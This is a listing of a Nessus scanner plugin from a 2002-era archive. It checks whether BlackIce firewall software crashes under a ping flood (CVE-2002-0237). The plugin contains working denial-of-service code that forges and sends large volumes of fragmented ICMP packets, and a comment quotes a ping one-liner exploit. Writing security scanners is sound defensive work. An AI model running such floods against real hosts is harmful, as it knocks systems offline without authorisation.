home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / blackice_dos.nasl < prev    next >
Text File  |  2005-03-31  |  3KB  |  121 lines

  1. #
  2. # This script was written by Michel Arboi <arboi@alussinan.org>
  3. #
  4. # GPL
  5. #
  6. # TBD : eEyes gives this "exploit": ping -s 60000 -c 16 -p CC 1.1.1.1
  7. #       But according to others, it doesn't work.
  8.  
  9. if(description)
  10. {
  11.  script_id(10927);
  12.  script_bugtraq_id(4025);
  13.  script_version ("$Revision: 1.15 $");
  14.  script_cve_id("CVE-2002-0237");
  15.  name["english"] = "BlackIce DoS (ping flood)";
  16.  name["francais"] = "DΘni de service BlackIce (ping flood)";
  17.  script_name(english:name["english"], francais:name["francais"]);
  18.  
  19.  desc["english"] = "It was possible to crash the remote 
  20. machine by flooding it with 10 KB ping packets.
  21.  
  22. A cracker may use this attack to make this
  23. host crash continuously, preventing you
  24. from working properly.
  25.  
  26.  
  27. Solution : upgrade your BlackIce software or remove it.
  28.  
  29. Risk factor : High";
  30.  
  31.  desc["francais"] = "Il a ΘtΘ possible de
  32. tuer la machine distante en l'inondant
  33. de paquets ping de taille 10 Ko.
  34.  
  35. Un pirate peut utiliser ce problΦme pour
  36. faire planter continuellement cette 
  37. machine, vous empechant ainsi de travailler
  38. correctement.
  39.  
  40.  
  41. Solution : mettez α jour votre logiciel BlackIce ou supprimez le.
  42.  
  43. Facteur de risque : ElevΘ";
  44.  
  45.  script_description(english:desc["english"], francais:desc["francais"]);
  46.  
  47.  summary["english"] = "Ping flood the remote machine and kills BlackIce";
  48.  summary["francais"] = "Tue BlackIce en l'inondant de ping";
  49.  script_summary(english:summary["english"], francais:summary["francais"]);
  50.  
  51.  if (ACT_FLOOD) script_category(ACT_FLOOD);
  52.  else        script_category(ACT_KILL_HOST);
  53.  
  54.  script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi",
  55.         francais:"Ce script est Copyright (C) 2002 Michel Arboi");
  56.  family["english"] = "Denial of Service";
  57.  family["francais"] = "DΘni de service";
  58.  
  59.  
  60.  script_family(english:family["english"], francais:family["francais"]);
  61.                
  62.  #script_add_preference(name:"Flood length :", type:"entry", value:"600");
  63.  #script_add_preference(name:"Data length :", type:"entry", value:"10000");
  64.  #script_add_preference(name:"MTU :",  type:"entry", value:"576");
  65.  exit(0);
  66. }
  67.  
  68. include("global_settings.inc");
  69.  
  70. if ( ! thorough_tests ) exit(0);
  71.  
  72. #
  73. # The script code starts here
  74. #
  75.  
  76. start_denial();
  77.  
  78. #fl = script_get_preference("Flood length :");
  79. if (! fl) fl = 600;
  80. #dl = script_get_preference("Data length :");
  81. if (! dl) dl = 60000;
  82. #mtu = script_get_preference("MTU :");
  83. if (! mtu) mtu = 1500; 
  84. maxdata = mtu - 20 - 8;    # IP + ICMP
  85. maxdata = maxdata / 8; maxdata = maxdata * 8;
  86. if (maxdata < 16) maxdata = 544;
  87.  
  88. src = this_host();
  89. dst = get_host_ip();
  90. id = 666;
  91. seq = 0;
  92.  
  93. for (i = 0; i < fl; i=i+1)
  94. {
  95.  id = id + 1;
  96.  seq = seq + 1;
  97.  for (j = 0; j < dl; j=j+maxdata)
  98.  {
  99.   datalen = dl - j;
  100.   o = j / 8;
  101.   if (datalen > maxdata) {
  102.    o = o | 0x2000;
  103.    datalen = maxdata;
  104.   }
  105.   ##display(string("i=",i,"; j=", j, "; o=", o, ";dl=", datalen, "\n"));
  106.   ip = forge_ip_packet(ip_v:4, ip_hl:5, ip_tos:0, ip_off:o,
  107.                         ip_p:IPPROTO_ICMP, ip_id:id, ip_ttl:0x40,
  108.                      ip_src:this_host());
  109.   icmp = forge_icmp_packet(ip:ip, icmp_type:8, icmp_code:0,
  110.                    icmp_seq: seq, icmp_id:seq, data:crap(datalen-8));
  111.   send_packet(icmp, pcap_active: 0);
  112.  }
  113. }
  114.  
  115. alive = end_denial();
  116. if(!alive){
  117.     security_hole();
  118.     set_kb_item(name:"Host/dead", value:TRUE);
  119. }
  120.  
  121.